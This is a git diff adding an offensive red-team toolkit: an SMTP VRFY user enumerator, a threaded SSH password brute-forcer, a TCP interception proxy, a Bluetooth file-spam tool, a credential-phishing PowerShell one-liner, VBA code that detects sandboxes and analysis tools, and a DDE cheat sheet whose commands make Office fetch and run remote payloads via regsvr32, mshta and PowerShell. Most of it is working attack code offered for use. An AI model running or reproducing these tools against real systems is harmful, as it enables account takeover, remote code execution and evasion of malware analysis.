s.connect((server, port)) + except socket.error, e: + print '[!] Connection failed with {}:{} - "{}"'.format(server, port, str(e)) + return False + + try: + print '[+] Service banner: "{}"'.format(s.recv(1024).strip()) + s.send('HELO test@test.com\r\n') + print '[>] Response for HELO from {}:{} - '.format(server, port) + s.recv(1024).strip() + + except socket.error, e: + print '[!] Failed at initial session setup: "{}"'.format(str(e)) + return False + + if brute: + print '[?] Engaging brute-force enumeration...' + + + if brute: + for i in range(len(username)): + user = username[i] + s.send('VRFY ' + user + '\r\n') + res = s.recv(1024).strip() + print '({}/{}) Server: {}:{} | VRFY {} | Result: [{}]'.format( + i, len(username), server, port, user, interpret_smtp_status_code(res)) + else: + s.send('VRFY ' + username + '\r\n') + res = s.recv(1024).strip() + + print '[>] Response from {}:{} - '.format(server, port) + interpret_smtp_status_code(res) + if 'User unknown' in res: + print '[!] User not found.' + elif (res.startswith('25') and username in res and '<' in res and '>' in res): + print '[+] User found: "{}"'.format(res.strip()) + else: + print '[?] Response: "{}"'.format(res.strip()) + + s.close() + +if __name__ == '__main__': + if len(sys.argv) < 2: + print '[?] Usage: smtpvrfy.py [username|wordlist] [timeout]' + print '\t(to specify a port provide it after a colon \':\' in server parameter)' + sys.exit(0) + + server = sys.argv[1] + port = 25 if ':' not in server else int(server[server.find(':')+1:]) + username = sys.argv[2] if len(sys.argv) >= 3 else DEFAULT_WORDLIST + timeout = DEFAULT_TIMEOUT if len(sys.argv) < 4 else int(sys.argv[3]) + + if os.path.isfile(username): + names = [] + with open(username, 'r') as f: + for a in f: + names.append(a.strip()) + print '[>] Provided wordlist file with {} entries.'.format(len(names)) + vrfy(server, names, port, timeout, brute=True) + else: + vrfy(server, username, port, timeout) diff --git a/networks/sshbrute.py b/networks/sshbrute.py new file mode 100644 index 0000000..33b3217 --- /dev/null +++ b/networks/sshbrute.py @@ -0,0 +1,74 @@ +# +# Pxssh driven SSH brute-forcing script. +# Based on: +# Violent Python, by TJ O'Connor +# + +import pxssh +import time +import optparse +from sys import argv, exit, stdout +from threading import * + +MAX_CONNS = 5 +CONN_LOCK = BoundedSemaphore(value=MAX_CONNS) +FOUND = False +FAILS = 0 + +def send_command(s, cmd): + s.sendline(cmd) + s.prompt() + print s.before + +def connect(host, user, password, release): + global FOUND + global FAILS + try: + s = pxssh.pxssh() + s.login(host, user, password) + print '\n\n[+] Password found: ' + password + '\n\n' + FOUND = True + return s + except Exception, e: + if 'read_nonblocking' in str(e): + FAILS += 1 + time.sleep(3) + connect(host, user, password, False) + elif 'synchronize with original prompt' in str(e): + time.sleep(1) + connect(host, user, password, False) + finally: + if release: + CONN_LOCK.release() + +def main(): + + if len(argv) < 4: + print 'Usage: sshbrute.py host user passwords_list' + return + + host = argv[1] + user = argv[2] + passwords = [ p.strip() for p in open(argv[3]).readlines()] + + i = 0 + for p in passwords: + i += 1 + if FOUND: + print '[*] Password found.' + exit(0) + if FAILS > 5: + print '[!] Exiting: Too many socket timeouts' + exit(0) + + CONN_LOCK.acquire() + stdout.write('[?] Trying: "%s" %d/%d (%.2f%%)\r' % \ + (p, i, len(passwords), float(i)/len(passwords))) + stdout.flush() + t = Thread(target=connect, args=(host, user, p, True)) + t.start() + + stdout.write('\n') + +if __name__ == '__main__': + main() diff --git a/networks/tcpproxy.py b/networks/tcpproxy.py new file mode 100644 index 0000000..0fb4cfb --- /dev/null +++ b/networks/tcpproxy.py @@ -0,0 +1,264 @@ +#!/usr/bin/python + +import sys +import socket +import argparse +import threading + +config = { + 'debug': False, + 'verbose': False, + 'timeout' : 5.0, +} + +# ========================================================= +# CUSTOM ANALYSIS, FUZZING, INTERCEPTION ROUTINES. + +def requestHandler(buff): + ''' + Modify any requests destined for the REMOTE host service. + ''' + return buff + + +def responseHandler(buff): + ''' + Modify any responses destined for the LOCAL host service. + ''' + return buff + +# ========================================================= + +class Logger: + @staticmethod + def _out(x): + if config['debug'] or config['verbose']: + sys.stderr.write(x + '\n') + + @staticmethod + def dbg(x): + if config['debug']: + sys.stderr.write('[dbg] ' + x + '\n') + + @staticmethod + def out(x): + Logger._out('[.] ' + x) + + @staticmethod + def info(x): + Logger._out('[?] ' + x) + + @staticmethod + def err(x, fatal = False): + Logger._out('[!] ' + x) + if fatal: sys.exit(-1) + + @staticmethod + def fail(x, fatal = False): + Logger._out('[-] ' + x) + if fatal: sys.exit(-1) + + @staticmethod + def ok(x): + Logger._out('[+] ' + x) + +def hexdump(src, length = 16): + result = [] + digits = 4 if isinstance(src, unicode) else 2 + num = len(src) + + for i in range(0, num, length): + s = src[i:i+length] + hexa = b' '.join(['%0*X' % (digits, ord(x)) for x in s]) + text = b''.join([x if 0x20 <= ord(x) < 0x7f else b'.' for x in s]) + + result.append(b'%04x | %-*s | %s' % (i, length * (digits + 1), hexa, text)) + + return str(b'\n'.join(result)) + +def recvFrom(sock): + ''' + Simple recvAll based on timeout exception. + ''' + buff = '' + sock.settimeout(config['timeout']) + + try: + while True: + data = sock.recv(4096) + if not data: break + + buff += data + except: + pass + + return buff + +def proxyHandler(clientSock, remoteHost, remotePort, recvFirst): + Logger.dbg('Connecting to REMOTE service: {}:{}'.format(remoteHost, remotePort)) + + try: + remoteSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + remoteSock.settimeout(config['timeout']) + remoteSock.connect((remoteHost, remotePort)) + + Logger.dbg('Connected.') + + except Exception as e: + Logger.err('TCP Proxy was unable to connect to REMOTE service: {}:{}'.format( + remoteHost, remotePort), fatal = True + ) + + if recvFirst: + remoteBuff = recvFrom(remoteSock) + Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff))) + Logger.dbg('Remote service Recv buff BEFORE responseHandler:\n' + hexdump(remoteBuff)) + + remoteBuffOrig = remoteBuff + remoteBuff = responseHandler(remoteBuff) + + if remoteBuff != remoteBuffOrig: + Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format( + len(remoteBuffOrig, remoteBuff))) + Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff)) + + if len(remoteBuff): + Logger.info('[<==] Sending {} bytes to LOCAL service.'.format(len(remoteBuff))) + clientSock.send(remoteBuff) + + # Send & Receive / Proxy loop + while True: + + # LOCAL part + localBuff = recvFrom(clientSock) + if len(localBuff): + Logger.info('[==>] Received {} bytes from LOCAL service.'.format(len(localBuff))) + Logger.dbg('Local service Recv buff:\n' + hexdump(localBuff)) + + localBuffOrig = localBuff + localBuff = requestHandler(localBuff) + + if localBuff != localBuffOrig: + Logger.dbg('Buffer to be sent to REMOTE service modified. Lengths: {} -> {}'.format( + len(localBuffOrig, localBuff))) + Logger.dbg('Local service Recv buff AFTER requestHandler:\n' + hexdump(localBuff)) + + remoteSock.send(localBuff) + Logger.info('[==>] Sent to REMOTE service.') + + # REMOTE part + remoteBuff = recvFrom(remoteSock) + if len(remoteBuff): + Logger.info('[<==] Received {} bytes from REMOTE service.'.format(len(remoteBuff))) + Logger.dbg('Remote service Recv buff:\n' + hexdump(remoteBuff)) + + remoteBuffOrig = remoteBuff + remoteBuff = responseHandler(remoteBuff) + + if remoteBuff != remoteBuffOrig: + Logger.dbg('Buffer to be sent to LOCAL service modified. Lengths: {} -> {}'.format( + len(remoteBuffOrig, remoteBuff))) + Logger.dbg('Remote service Recv buff AFTER responseHandler:\n' + hexdump(remoteBuff)) + + clientSock.send(remoteBuff) + Logger.info('[<==] Sent to LOCAL service.') + + if not len(localBuff) or not len(remoteBuff): + clientSock.close() + remoteSock.close() + + Logger.info('No more data. Closing connections.') + break + +def serverLoop(localHost, localPort, remoteHost, remotePort, receiveFirst): + serv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + serv.bind((localHost, localPort)) + Logger.ok('TCP Proxy listening on: {}:{}'.format(localHost, localPort)) + + serv.listen(5) + + except Exception as e: + Logger.err('TCP Proxy server was unable to bound to {}:{}'.format(localHost, localPort), fatal = True) + + while True: + clientSock, addr = serv.accept() + Logger.info('[==>] Received incoming connection from: {}:{}'.format(addr[0], addr[1])) + proxyThread = threading.Thread( + target = proxyHandler, + args = ( + clientSock, + remoteHost, + remotePort, + receiveFirst + ) + ) + + proxyThread.start() + +def processOpts(argv): + global config + + usageStr = ''' + tcpproxy.py [options] + +Example: + tcpproxy.py 127.0.0.1:9000 192.168.56.102:9000 + ''' + + parser = argparse.ArgumentParser(prog = argv[0], usage = usageStr) + parser.add_argument('localhost', metavar='LOCAL', type=str, + help = 'Local service to proxy (host:port)') + parser.add_argument('remotehost', metavar='REMOTE', type=str, + help = 'Remote service to proxy to (host:port)') + parser.add_argument('-r', '--recvfirst', dest='recvfirst', action='store_true', default = False, + help='Make the proxy first receive something, than respond.') + parser.add_argument('-t', '--timeout', metavar='timeout', dest='timeout', default = config['timeout'], + help='Specifies service connect & I/O timeout. Default: {}.'.format(config['timeout'])) + parser.add_argument('-v', '--verbose', dest='verbose', action='store_true', + help='Show verbose output.') + parser.add_argument('-d', '--debug', dest='debug', action='store_true', + help='Show more verbose, debugging output.') + + if len(sys.argv[1:]) < 2: + parser.print_help() + sys.exit(0) + + args = parser.parse_args() + if args.debug: + config['debug'] = args.debug + if args.verbose: + config['verbose'] = args.verbose + config['timeout'] = float(args.timeout) + Logger.dbg('Timeout set to: {} seconds.'.format(args.timeout)) + + return (args.localhost, args.remotehost, args.recvfirst) + +def main(): + local, remote, recvfirst = processOpts(sys.argv) + localHost, localPort = local.split(':') + remoteHost, remotePort = remote.split(':') + + try: + localPort = int(localPort) + if localPort < 0 or localPort > 65535: + raise ValueError + except ValueError: + Logger.err('Invalid LOCAL port specified.', fatal = True) + + try: + remotePort = int(remotePort) + if remotePort < 0 or remotePort > 65535: + raise ValueError + except ValueError: + Logger.err('Invalid LOCAL port specified.', fatal = True) + + Logger.info('Proxying: {}:{} => {}:{}'.format( + localHost, localPort, remoteHost, remotePort + )) + + serverLoop(localHost, localPort, remoteHost, remotePort, recvfirst) + +if __name__ == '__main__': + main() diff --git a/others/README.md b/others/README.md new file mode 100644 index 0000000..cfd1e9b --- /dev/null +++ b/others/README.md @@ -0,0 +1,9 @@ +## Other Penetration-Testing related scripts and tools + + + +- **`bluetoothObexSpam.py`** - Script intended to flood bluetooth enabled devices with incoming OBEX Object Push requests containing attacker-specified file. ([gist](https://gist.github.com/mgeeky/5b35453cd46837a01200a0eca4aa1e41)) + +- **`encrypt.rb`** - Simple File Encryption utility (with support for Blowfish, GOST, IDEA, AES) capable of encrypting directories. ([gist](https://gist.github.com/mgeeky/751c01c4dac99871f4da)) + +- **`xor-key-recovery.py`** - Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length - it searches for proper key that could decrypt cipher into text. ([gist](https://gist.github.com/mgeeky/589b2cf781901288dfea0894a780ff98)) \ No newline at end of file diff --git a/others/bluetoothObexSpam.py b/others/bluetoothObexSpam.py new file mode 100644 index 0000000..b5bff21 --- /dev/null +++ b/others/bluetoothObexSpam.py @@ -0,0 +1,102 @@ +# +# Bluetooth scanner with ability to spam devices +# with incoming OBEX Object Push requests containing +# specified file. +# +# Mariusz B. / MGeeky, 16' +# +# Partially based on `Violent Python` snippets. +# Modules required: +# python-bluez +# python-obexftp +# +import bluetooth +import scapy +import obexftp +import sys +import optparse +import threading +import time +import os + +foundDevs = [] + +def printDev(name, dev, txt='Bluetooth device'): + print '[+] %s: "%s" (MAC: %s)' % (txt, name, dev) + +def retBtAddr(addr): + btAddr = str(hex(int(addr.replace(':', ''), 16) + 1))[2:] + btAddr = btAddr[0:2] + ':' + btAddr[2:4] + ':' + btAddr[4:6] + \ + ':' + btAddr[6:8] + ':' + btAddr[8:10] + ':' + btAddr[10:12] + return btAddr + +def checkBluetooth(btAddr): + btName = bluetooth.lookup_name(btAddr) + if btName: + printDev('Hidden Bluetooth device detected', btName, btAddr) + return True + + return False + +def sendFile(dev, filename): + if os.path.exists(filename): + client = obexftp.client(obexftp.BLUETOOTH) + channel = obexftp.browsebt(dev, obexftp.PUSH) + print '[>] Sending file to %s@%s' % (dev, str(channel)) + client.connect(dev, channel) + ret = client.put_file(filename) + if int(ret) >= 1: + print '[>] File has been sent.' + else: + print '[!] File has not been accepted.' + client.disconnect() + else: + print '[!] Specified file: "%s" does not exists.' + +def findDevs(opts): + global foundDevs + devList = bluetooth.discover_devices(lookup_names=True) + repeat = range(0, int(opts.repeat)) + + for (dev, name) in devList: + if dev not in foundDevs: + name = str(bluetooth.lookup_name(dev)) + printDev(name, dev) + foundDevs.append(dev) + for i in repeat: + sendFile(dev, opts.file) + continue + + if opts.spam: + for i in repeat: + sendFile(dev, opts.file) + +def main(): + parser = optparse.OptionParser(usage='Usage: %prog [options]') + parser.add_option('-f', '--file', dest='file', metavar='FILE', help='Specifies file to be sent to discovered devices.') + parser.add_option('-t', '--time', dest='time', metavar='TIMEOUT', help='Specifies scanning timeout (default - 0 secs).', default='0') + parser.add_option('-r', '--repeat', dest='repeat', metavar='REPEAT', help='Number of times to repeat file sending after finding a device (default - 1)', default='1') + parser.add_option('-s', '--spam', dest='spam', action='store_true', help='Spam found devices with the file continuosly') + + print '\nBluetooth file carpet bombing via OBEX Object Push' + print 'Mariusz B. / MGeeky 16\n' + + (opts, args) = parser.parse_args() + + if opts.file != '': + if not os.path.exists(opts.file): + print '[!] Specified file: "%s" does not exists.' + sys.exit(0) + + print '[+] Started Bluetooth scanning. Ctr-C to stop...' + + timeout = float(opts.time) + try: + while True: + findDevs(opts) + time.sleep(timeout) + except KeyboardInterrupt, e: + print '\n[?] User interruption.' + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/others/encrypt.rb b/others/encrypt.rb new file mode 100644 index 0000000..e8827cf --- /dev/null +++ b/others/encrypt.rb @@ -0,0 +1,189 @@ +#!/usr/bin/ruby +# +# Script that performs encryption and decryption of files and directories. +# In latter case producing encrypted ZIP package that will get decompressed automatically +# after decryption. +# +# Mariusz B., 2016 v0.1 +# + +require 'optparse' +require 'io/console' + +gem 'rubyzip' +require 'zip/zip' +require 'zip/zipfilesystem' + + +def encrypt(infile, outfile, ciph, encryption, pass) + gem "crypt" + require 'crypt/blowfish' + require 'crypt/gost' + require 'crypt/idea' + require 'crypt/rijndael' + + begin + cipher = case ciph + when "blowfish" then Crypt::Blowfish.new(pass) + when "gost" then Crypt::Gost.new(pass) + when "idea" then Crypt::IDEA.new(pass, encryption ? Crypt::IDEA::ENCRYPT : Crypt::IDEA::DECRYPT) + when "aes" then Crypt::Rijndael.new(pass) + else nil + end + + if cipher == nil + raise "unknown cipher." + else + raise "Input file path is empty. Cannot proceed any further" if infile.empty? + if encryption + cipher.encrypt_file(infile, outfile) + else + cipher.decrypt_file(infile, outfile) + end + puts "Operation succeeded." + end + rescue Exception => e + puts "An error ocurred during encryption: #{e}\n" + puts %Q|#{e.backtrace.join "\n\t"}| + end +end + +def compress(path, out = nil) + path.sub!(%r[/$], '') + archive = out || File.join(path, File.basename(path)) + archive << '.zip' + FileUtils.rm archive, :force => true + + Zip::ZipFile.open(archive, 'w') do |zipfile| + Dir["#{path}/**/**"].reject{ |f| f == archive }.each do |file| + zipfile.add(file.sub(path + '/', ''), file) + end + end + archive +end + +def decompress(path, out) + Zip::ZipFile.open(path) { |zip_file| + zip_file.each { |f| + f_path = File.join(out, f.name) + FileUtils.mkdir_p(File.dirname(f_path)) + zip_file.extract(f, f_path) unless File.exist?(f_path) + } + } +end + +# Main function. +if __FILE__ == $0 + options = {:cipher => 'aes'} + optsparser = OptionParser.new do |opts| + opts.program_name = "encryption.rb" + opts.banner = "Usage: encryption [options] \n\nWhere:"\ + "\n \t\t\t Either encrypt or decrypt (or for shorteness: e|d)."\ + "\n \t\t\t Specifies input file or directory path."\ + "\n \t\t\t Specifies output file path.\n" + + opts.separator "" + opts.separator "Additional options:" + + supported = %w[blowfish gost idea aes] + opts.on("-c", "--cipher ", "Supported ciphers (by default 'aes' will be used):", + *supported) do |cipher| + unless supported.include?(cipher) + opts.warn "[!] Unsupported cipher!" + exit + end + options[:cipher] = cipher.downcase + end + + opts.on("-h", "--help", "Displays help") do + puts opts + exit + end + end + optsparser.parse! + + unless ARGV.length > 2 + optsparser.warn "Required and parameters missing!\n\n#{optsparser}" + exit + end + + mode = case ARGV[0].downcase + when 'encrypt', 'enc', 'e' then "encrypt" + when 'decrypt', 'dec', 'd' then "decrypt" + else "error" + end + + if mode == "error" + optsparser.warn "You must specify valid - either 'encrypt' or 'decrypt'!" + exit + end + + infile = ARGV[1].chomp + outfile = ARGV[2].chomp + cipher = options[:cipher] + + puts "Mode: #{mode.capitalize}" + puts "Cipher: #{cipher.upcase}" + puts "Input file: '#{infile}'" + puts "Output file: '#{outfile}'" + puts "" + + compressed = false + tmp = '' + if File.directory?(infile) + require 'tempfile' + d = Tempfile.new('dir') + tmp = d.path.clone + d.close + d.unlink + puts %Q[Compressing specified directory '#{infile}'... ] + begin + tmp = compress(infile, tmp.clone) + compressed = true + rescue Exception => e + puts "[!] Couldn't compress input directory.: #{e}" + File.delete(tmp) + exit + end + else + tmp = infile + end + + if File.exists?(outfile) + STDOUT.write "File specified as output file already exists. Do you want to continue? [Y/n]: " + c = $stdin.gets.strip.downcase + unless ["y", "yes"].include?(c) or c.empty? + if compressed + File.delete(tmp) + end + exit + end + end + + print 'Enter your encryption key: ' + pass = STDIN.noecho(&:gets).chomp + puts "" + + begin + encrypt(tmp, outfile, cipher, mode == 'encrypt', pass) + + if compressed + File.delete tmp + else + begin + # If decrypted file is a valid zip file - unzip it. + Zip::ZipFile.open(outfile).close + tmp = outfile + '.tmp' + File.rename outfile, tmp + decompress(tmp, outfile) + File.delete tmp + rescue + # Ups, not a ZIP file. Nothing to decompress.. + end + end + + rescue Exception => e + puts "[!] Operation failed: #{e}" + puts %Q|#{e.backtrace.join "\n\t"}| + end +end \ No newline at end of file diff --git a/others/xor-key-recovery.py b/others/xor-key-recovery.py new file mode 100644 index 0000000..7d5ee91 --- /dev/null +++ b/others/xor-key-recovery.py @@ -0,0 +1,86 @@ +#!/usr/bin/python +# +# Simple XOR brute-force Key recovery script - given a cipher text, plain text and key length +# it searches for proper key that could decrypt cipher into text. +# +# Mariusz B., 2016 +# + +import sys + +def xorstring(s, k): + out = [0 for c in range(len(s))] + key = [] + if type(k) == type(int): + key = [k,] + else: + key = [ki for ki in k] + + for i in range(len(key)): + for j in range(i, len(s), len(key)): + out[j] = chr(ord(s[j]) ^ key[i]) + + return ''.join(out) + + +def brute(input_xored, expected_output, key_len): + key = [] + + if len(input_xored) != len(expected_output): + print '[!] Input xored and expected output lengths not match!' + return False + + for i in range(key_len): + cipher_letters = [ input_xored[x] for x in range(i, len(input_xored), key_len)] + plaintext_letters = [ expected_output[x] for x in range(i, len(input_xored), key_len)] + + found = False + for k in range(256): + found = True + for j in range(key_len): + if chr(ord(cipher_letters[j]) ^ k) != plaintext_letters[j]: + found = False + break + + if found: + key.append(k) + break + found = False + + if not found: + print '[!] Could not found partial key value.' + break + + return key, xorstring(input_xored, key) == expected_output + +def main(argv): + if len(argv) < 4: + print 'Usage: %s ' + return False + + cipher = argv[1] + plain = argv[2] + keylen = int(argv[3]) + + if len(cipher) != len(plain): + print '[!] Cipher text and plain text must be of same length!' + return False + + if len(cipher) % keylen != 0: + print '[!] Cipher text and plain text lengths must be divisble by keylen!' + return False + + print "Cipher text:\t%s" % cipher + print "Plain text:\t%s" % plain + print "Key length:\t%d" % keylen + key, status = brute(cipher, plain, keylen) + + if status: + print '[+] Key recovered!' + print '\tKey:\t\t\t', str(key) + print '\tDecrypted string:\t' + xorstring(cipher, key) + else: + print '[!] Key not found.' + +if __name__ == '__main__': + main(sys.argv) diff --git a/social-engineering/Invoke-Command-Cred-Example.ps1 b/social-engineering/Invoke-Command-Cred-Example.ps1 new file mode 100644 index 0000000..71a07fe --- /dev/null +++ b/social-engineering/Invoke-Command-Cred-Example.ps1 @@ -0,0 +1 @@ +Invoke-Command 192.168.56.102 -Cred (New-Object -Type System.Management.Automation.PSCredential -ArgumentList "ieuser", $(ConvertTo-SecureString "Passw0rd!" -AsPlainText -Force)) {ipconfig} \ No newline at end of file diff --git a/social-engineering/Macro-Less-Cheatsheet.md b/social-engineering/Macro-Less-Cheatsheet.md new file mode 100644 index 0000000..8933010 --- /dev/null +++ b/social-engineering/Macro-Less-Cheatsheet.md @@ -0,0 +1,28 @@ +## Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet + +- Using `regsvr32` _*.sct_ files technique: +``` +DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || regsvr32 /s /n /u /i:http://192.168.56.101/empire2.sct scrobj.dll" +``` + +- Using `HTA` files technique: +``` +DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/c Microsoft Office Application data || mshta http://192.168.56.101/poc.hta" +``` + +- Method from Empire - unfortunately unable to hide 'powershell.exe -NoP -sta -NonI' sequence +``` +DDEAUTO C:\\Microsoft\\Programs\\Office\\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://192.168.56.101/default.ps1');powershell -noP -sta -w 1 -enc $e " +``` + +- CactusTorch DDE can also generate files in **JS** and **VBS** formats. +They will utilize `cscript` as a file interpreter. + +- Another option is to use scripts by _Dominic Spinosa_ found [here](https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads) + +- Another option is to stick with `Unicorn` by _Dave Kennedy_ + + +## Sources + +- https://medium.com/red-team/dde-payloads-16629f4a2fcd \ No newline at end of file diff --git a/social-engineering/MacroDetectSandbox.vbs b/social-engineering/MacroDetectSandbox.vbs new file mode 100644 index 0000000..17efc28 --- /dev/null +++ b/social-engineering/MacroDetectSandbox.vbs @@ -0,0 +1,139 @@ +Private Declare PtrSafe Function isDbgPresent Lib "kernel32" Alias "IsDebuggerPresent" () As Boolean + +Public Function IsFileNameNotAsHexes() As Boolean + Dim str As String + Dim hexes As Variant + Dim only_hexes As Boolean + + only_hexes = True + hexes = Array("0", "1", "2", "3", "4", "5", "6", "7", _ + "8", "9", "a", "b", "c", "d", "e", "f") + str = ActiveDocument.name + str = Mid(str, 1, InStrRev(str, ".") - 1) + + For i = 1 To UBound(hexes, 1) - 1 + Dim ch As String + ch = LCase(Mid(str, i, 1)) + If Not (UBound(Filter(hexes, ch)) > -1) Then + ' Character not in hexes array. + only_hexes = False + Exit For + End If + Next + + only_hexes = (Not only_hexes) + IsFileNameNotAsHexes = only_hexes +End Function + +Public Function IsProcessListReliable() As Boolean + Dim objWMIService, objProcess, colProcess + Dim strComputer, strList + Dim bannedProcesses As Variant + + bannedProcesses = Array("fiddler", "vxstream", _ + "tcpview", "vmware", "procexp", "vmtools", "autoit", _ + "wireshark", "procmon", "idaq", "autoruns", "apatedns", _ + "windbg") + + strComputer = "." + + Set objWMIService = GetObject("winmgmts:" _ + & "{impersonationLevel=impersonate}!\\" _ + & strComputer & "\root\cimv2") + + Set colProcess = objWMIService.ExecQuery _ + ("Select * from Win32_Process") + + For Each objProcess In colProcess + For Each proc In bannedProcesses + If InStr(LCase(objProcess.name), LCase(proc)) <> 0 Then + ' Found banned process. + IsProcessListReliable = False + Exit Function + End If + Next + Next + If isDbgPresent() Then + IsProcessListReliable = False + Exit Function + End If + IsProcessListReliable = (colProcess.Count() > 50) +End Function + +Public Function IsHardwareReliable() As Boolean + Dim objWMIService, objItem, colItems, strComputer + Dim totalSize, totalMemory, cpusNum As Integer + + totalSize = 0 + totalMemory = 0 + cpusNum = 0 + + Const wbemFlagReturnImmediately = &H10 + Const wbemFlagForwardOnly = &H20 + + strComputer = "." + + ' Checking total HDD size + Set objWMIService = GetObject _ + ("winmgmts:\\" & strComputer & "\root\cimv2") + Set colItems = objWMIService.ExecQuery _ + ("Select * from Win32_LogicalDisk") + + For Each objItem In colItems + Dim num + num = Int(objItem.Size / 1073741824) + If num > 0 Then + totalSize = totalSize + num + End If + Next + + If totalSize < 60 Then + ' Total HDD size of the machine must be at least 60GB + IsHardwareReliable = False + Exit Function + End If + + ' Checking Memory + Set colComputer = objWMIService.ExecQuery _ + ("Select * from Win32_ComputerSystem") + + For Each objComputer In colComputer + totalMemory = totalMemory + Int((objComputer.TotalPhysicalMemory) / 1048576) + 1 + Next + + If totalMemory < 1024 Then + ' Total Memory is less than 1GB + IsHardwareReliable = False + Exit Function + End If + + Set colItems2 = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _ + wbemFlagReturnImmediately + wbemFlagForwardOnly) + + For Each objItem In colItems2 + cpusNum = cpusNum + objItem.NumberOfLogicalProcessors + Next + + If cpusNum < 2 Then + ' Nowadays everyone has at least 2 logical cores. + IsHardwareReliable = False + Exit Function + End If + + IsHardwareReliable = True +End Function + +Public Function IsRunningInSandbox() As Boolean + Dim test As Boolean + If IsFileNameNotAsHexes() <> True Then + IsRunningInSandbox = True + Exit Function + ElseIf IsProcessListReliable() <> True Then + IsRunningInSandbox = True + Exit Function + ElseIf IsHardwareReliable() <> True Then + IsRunningInSandbox = True + Exit Function + End If + IsRunningInSandbox = False +End Function diff --git a/social-engineering/Phish-Creds.ps1 b/social-engineering/Phish-Creds.ps1 new file mode 100644 index 0000000..0679d75 --- /dev/null +++ b/social-engineering/Phish-Creds.ps1 @@ -0,0 +1,18 @@ +<# + +try { + (Get-Credential -Credential $null).GetNetworkCredential() | + Select-Object @{name="User"; expression = { + If ($_.Domain -ne [string]::Empty) { + "{0}\{1}" -f ($_.Domain), ($_.UserName) + } Else { + $_.UserName + } + } + }, Password | Format-List +} catch { +} + +#> + +try { ((Get-Credential -Credential $null).GetNetworkCredential() | Select-Object @{name="User"; expression={If ($_.Domain -ne [string]::Empty) {"{0}\{1}" -f ($_.Domain), ($_.UserName)} Else { $_.UserName} }}, Password | Format-List) } catch { } \ No newline at end of file diff --git a/social-engineering/README.md b/social-engineering/README.md new file mode 100644 index 0000000..b42d492 --- /dev/null +++ b/social-engineering/README.md @@ -0,0 +1,142 @@ +## Red Teaming and Social-Engineering related scripts, tools and CheatSheets + + +- **`Macro-Less-Cheatsheet.md`** - Macro-Less Code Execution in MS Office via DDE (Dynamic Data Exchange) techniques Cheat-Sheet ([gist](https://gist.github.com/mgeeky/981213b4c73093706fc2446deaa5f0c5)) + + +- **`generateMSBuildPowershellXML.py`** - Powershell via MSBuild inline-task XML payload generation script - To be used during Red-Team assignments to launch Powershell payloads without using `powershell.exe` ([gist](https://gist.github.com/mgeeky/df9f313cfe468e56c59268b958319bcb)) + + Example output **not minimized**: + + ``` +C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 + + :: Powershell via MSBuild inline-task XML payload generation script + To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' + Mariusz B. / mgeeky, + +[?] File not recognized as PE/EXE. + +------------------------------------------------------------------------------------ + + + + + + + + + + + + + + + + + + +------------------------------------------------------------------------------------ + ``` + + **minimized** + + ``` +C:\Users\IEUser\Desktop\files\video>python generateMSBuildPowershellXML.py Show-Msgbox.ps1 -m + + :: Powershell via MSBuild inline-task XML payload generation script + To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe' + Mariusz B. / mgeeky, + +[?] File not recognized as PE/EXE. + +------------------------------------------------------------------------------------ + +< +Code Type="Class" Language="cs"> +------------------------------------------------------------------------------------ + ``` + + +- **`msbuild-powershell-msgbox.xml`** - Example of Powershell execution via MSBuild inline task XML file. On a simple Message-Box script. + ([gist](https://gist.github.com/mgeeky/617c54a23f0c4e99e6f475e6af070810)) + + +- **`compressedPowershell.py`** - Creates a Powershell snippet containing GZIP-Compressed payload that will get decompressed and executed (IEX) +. ([gist](https://gist.github.com/mgeeky/e30ceecc2082a11b99c7b24b42bd77fc)) + + Example: + + ``` +$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA==')); +IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd(); + ``` + + +- **`muti-stage-1.md`** - Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process. ([gist](https://gist.github.com/mgeeky/6097ea56e0f541aa7d98161e2aa76dfb)) + +- **`macro-psh-stdin-author.vbs`** - VBS Social Engineering Macro with Powershell invocation taking arguments from Author property and feeding them to StdIn. ([gist](https://gist.github.com/mgeeky/50c4b7fa22d930a80247fea62755fbd3)) + +- **`Invoke-Command-Cred-Example.ps1`** - Example of using PSRemoting with credentials passed directly from command line. ([gist](https://gist.github.com/mgeeky/de4ecf952ddce774d241b85cfbf97faf)) + +- **`Phish-Creds.ps1`** - Powershell oneline Credentials Phisher - to be used in malicious Word Macros/VBA/HTA or other RCE commands on seized machine. ([gist](https://gist.github.com/mgeeky/a404d7f23c85954650d686bb3f02abaf)) + + One can additionally add, right after `Get-Credential` following parameters that could improve pretext's quality during social engineering attempt: + - `-Credential domain\username` - when we know our victim's domain and/or username - we can supply this info to the dialog + - `-Message "Some luring sentence"` - to include some luring message + + +- **`vba-windows-persistence.vbs`** - VBA Script implementing two windows persistence methods - via WMI EventFilter object and via simple Registry Run. 